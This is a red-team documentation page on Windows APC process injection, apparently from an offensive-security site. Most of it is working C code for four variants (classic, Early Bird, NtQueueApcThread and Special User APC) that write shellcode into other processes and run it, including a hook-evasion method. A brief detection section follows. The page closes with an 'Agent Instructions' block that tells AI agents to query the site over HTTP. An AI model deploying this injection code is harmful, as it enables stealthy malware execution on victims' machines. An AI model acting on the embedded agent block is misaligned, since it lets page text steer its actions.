# APC Injection — Execution via Asynchronous Procedure Call Queues

### What are APCs

An APC (Asynchronous Procedure Call) is a Windows mechanism that allows queuing a function to be executed in the context of a specific thread when that thread enters an *alertable wait* state — a wait that accepts the execution of pending procedures.

Windows uses APCs extensively internally: for asynchronous I/O operations, mutex notifications, and DLL loading. The Windows APC model has two types:

* **Kernel APC**: Executed when the thread returns to user mode, by the kernel. Cannot be created by user code.
* **User APC**: Queued via `QueueUserAPC` or `NtQueueApcThread`. Executed when the thread calls functions like `SleepEx`, `WaitForSingleObjectEx`, `MsgWaitForMultipleObjectsEx` with `bAlertable = TRUE`.

```
┌──────────────────────────────────────────────────────────────────────┐
│                    APC Execution Flow                                │
│                                                                      │
│  Target thread in normal state:                                       │
│  [normal execution] → [calls WaitForSingleObjectEx(bAlertable=TRUE)]│
│                                │                                     │
│                    Enters alertable wait                             │
│                                │                                     │
│  Attacker queues APC: ─────────▶ QueueUserAPC(shellcode, hThread)  │
│                                │                                     │
│                    Thread wakes up to execute APCs                   │
│                                │                                     │
│                    [executes shellcode in thread context]            │
│                                │                                     │
│                    Returns to thread's normal state                  │
└──────────────────────────────────────────────────────────────────────┘
```

***

### Technique 1: Classic APC Injection

The basic technique: allocate shellcode in the target process, find threads in alertable wait, and queue the shellcode as an APC.

```c
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

// Inject shellcode via APC into all threads of the target process
BOOL InjectViaAPC(DWORD targetPid, unsigned char* shellcode, size_t shellcodeSize) {
    // 1. Open the target process
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);
    if (!hProcess) {
        printf("[-] OpenProcess failed: %lu\n", GetLastError());
        return FALSE;
    }

    // 2. Allocate memory in the target process and copy shellcode
    PVOID pRemoteShellcode = VirtualAllocEx(
        hProcess, NULL, shellcodeSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READ
    );
    if (!pRemoteShellcode) {
        CloseHandle(hProcess);
        return FALSE;
    }

    WriteProcessMemory(hProcess, pRemoteShellcode,
                        shellcode, shellcodeSize, NULL);

    // 3. Enumerate threads of the target process
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (hSnap == INVALID_HANDLE_VALUE) {
        VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }

    THREADENTRY32 te = { .dwSize = sizeof(te) };
    if (!Thread32First(hSnap, &te)) {
        CloseHandle(hSnap);
        CloseHandle(hProcess);
        return FALSE;
    }

    int queueCount = 0;

    do {
        if (te.th32OwnerProcessID != targetPid) continue;

        // 4. Open a handle to the thread
        HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, te.th32ThreadID);
        if (!hThread) continue;

        // 5. Queue the APC
        if (QueueUserAPC(
            (PAPCFUNC)pRemoteShellcode,
            hThread,
            0
        )) {
            printf("[+] APC queued in thread %lu\n", te.th32ThreadID);
            queueCount++;
        }

        CloseHandle(hThread);
    } while (Thread32Next(hSnap, &te));

    CloseHandle(hSnap);

    if (queueCount == 0) {
        printf("[-] No thread received the APC\n");
        VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }

    printf("[+] APC queued in %d threads. Waiting for alertable wait...\n",
           queueCount);
    CloseHandle(hProcess);
    return TRUE;
}
```

> **Critical limitation**: The APC only executes when the thread enters an alertable wait. If threads of the target process never enter this state, the shellcode never executes. GUI applications frequently call `MsgWaitForMultipleObjectsEx` with alertable enabled, but not always.

***

### Technique 2: Early Bird APC Injection

The **Early Bird** technique elegantly solves the alertable wait problem: it creates the target process in a suspended state (the main thread is suspended before executing any code), injects the shellcode via APC, and then resumes the thread.

When the suspended thread is resumed, Windows executes pending APCs **before executing the process's normal initialization code** — which is why the technique is called "Early Bird."

```c
// Early Bird APC Injection — executes BEFORE any process initialization
BOOL EarlyBirdAPC(const char* hostProcess, unsigned char* shellcode, size_t shellcodeSize) {
    STARTUPINFOA si = { .cb = sizeof(si) };
    PROCESS_INFORMATION pi = {0};

    // 1. Create host process in SUSPENDED state
    if (!CreateProcessA(
        hostProcess, NULL, NULL, NULL, FALSE,
        CREATE_SUSPENDED | CREATE_NO_WINDOW,
        NULL, NULL, &si, &pi
    )) {
        printf("[-] CreateProcess failed: %lu\n", GetLastError());
        return FALSE;
    }
    printf("[+] Suspended process created: PID %lu, TID %lu\n",
           pi.dwProcessId, pi.dwThreadId);

    // 2. Allocate executable memory in the suspended process
    PVOID pRemote = VirtualAllocEx(
        pi.hProcess, NULL, shellcodeSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
    if (!pRemote) {
        TerminateProcess(pi.hProcess, 0);
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        return FALSE;
    }

    // 3. Write shellcode into the suspended process address space
    SIZE_T written;
    WriteProcessMemory(pi.hProcess, pRemote, shellcode, shellcodeSize, &written);
    printf("[+] Shellcode written at 0x%p (%zu bytes)\n", pRemote, written);

    // 4. Queue APC in the suspended thread
    // The thread is suspended, so it will enter alertable wait immediately
    // upon resumption (before executing any initialization code)
    if (!QueueUserAPC(
        (PAPCFUNC)pRemote,
        pi.hThread,
        0
    )) {
        printf("[-] QueueUserAPC failed: %lu\n", GetLastError());
        VirtualFreeEx(pi.hProcess, pRemote, 0, MEM_RELEASE);
        TerminateProcess(pi.hProcess, 0);
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        return FALSE;
    }
    printf("[+] APC queued in suspended thread\n");

    // 5. Resume the thread — APC executes BEFORE any initialization code
    ResumeThread(pi.hThread);
    printf("[+] Thread resumed. Shellcode will execute via Early Bird APC.\n");

    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    return TRUE;
}
```

***

### Technique 3: NtQueueApcThread — APC via Native API

To avoid hooks on `QueueUserAPC` (which goes through `kernel32.dll`), we can use `NtQueueApcThread` directly from `ntdll.dll`:

```c
typedef NTSTATUS (WINAPI* pNtQueueApcThread)(
    HANDLE  ThreadHandle,
    PVOID   ApcRoutine,
    PVOID   ApcRoutineContext,
    PVOID   ApcStatusBlock,
    PVOID   ApcReserved
);

BOOL NativeApcInject(HANDLE hThread, PVOID shellcodeAddr) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    pNtQueueApcThread NtQueueApcThread =
        (pNtQueueApcThread)GetProcAddress(hNtdll, "NtQueueApcThread");

    if (!NtQueueApcThread) return FALSE;

    NTSTATUS st = NtQueueApcThread(
        hThread,
        shellcodeAddr,
        NULL, NULL, NULL
    );

    return st == 0;
}
```

***

### Technique 4: APC via NtQueueApcThreadEx (Special User APC — Windows 10+)

Windows 10 introduced `NtQueueApcThreadEx` with support for **Special User APCs** — a new type that executes regardless of the thread's alertable state. This resolves the main limitation of classic APC.

```c
#define QUEUE_USER_APC_FLAGS_NONE            0
#define QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC 0x1

typedef NTSTATUS (WINAPI* pNtQueueApcThreadEx)(
    HANDLE  ThreadHandle,
    HANDLE  UserApcReserveHandle,
    PVOID   ApcRoutine,
    PVOID   ApcRoutineContext,
    PVOID   ApcStatusBlock,
    PVOID   ApcReserved
);

BOOL SpecialUserApcInject(HANDLE hThread, PVOID shellcodeAddr) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    pNtQueueApcThreadEx NtQueueApcThreadEx =
        (pNtQueueApcThreadEx)GetProcAddress(hNtdll, "NtQueueApcThreadEx");

    if (!NtQueueApcThreadEx) {
        printf("[-] NtQueueApcThreadEx not available on this Windows version\n");
        return FALSE;
    }

    // Special User APC executes without needing alertable wait
    NTSTATUS st = NtQueueApcThreadEx(
        hThread,
        (HANDLE)QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC,
        shellcodeAddr,
        NULL, NULL, NULL
    );

    return st == 0;
}
```

***

### Variant Comparison

```
┌──────────────────────────────────────────────────────────────────────┐
│                  APC Injection Variants                              │
│                                                                      │
│  Technique              │ Req. Alertable │ Reliability │ Detection  │
│  ─────────────────────  │ ──────────────  │ ───────── │ ─────────  │
│  Classic APC            │ Yes            │ Low        │ Medium     │
│  Early Bird             │ No (suspended) │ High       │ High       │
│  NtQueueApcThread       │ Yes            │ Low        │ Low        │
│  Special User APC       │ No             │ High       │ Medium     │
└──────────────────────────────────────────────────────────────────────┘
```

***

### Detection

* **Sysmon Event ID 8 (CreateRemoteThread)**: Doesn't capture APC directly, but EDRs with kernel callbacks register `QueueUserAPC` via ETW.
* **CREATE\_SUSPENDED + QueueUserAPC sequence**: Characteristic pattern of Early Bird.
* **NtQueueApcThreadEx with special flag**: Usage by legitimate applications is extremely rare — highly suspicious.
* **Memory scan**: Shellcode in a private executable region is still detectable via memory scanning.

***

### References

* Tal Liberman, "Atombombing" — ensilo.com (2016)
* ired.team, "APC Queue Code Injection" — ired.team/offensive-security/code-injection-process-injection/
* Crow, "APC Injection Variants" — crow\.rip (2019)
* MITRE ATT\&CK, "T1055.004 — Asynchronous Procedure Call" — attack.mitre.org
* Windows Internals 7th Edition, "Chapter 3: System Mechanisms — APCs"
* Elastic Security Labs, "Process Injection via APC" — elastic.co/security-labs
* Sektor7, "Early Bird APC Code Injection" — sektor7.net


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.redteamleaders.com/offensive-security/defense-evasion/apc-injection-execution-via-asynchronous-procedure-call-queues.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
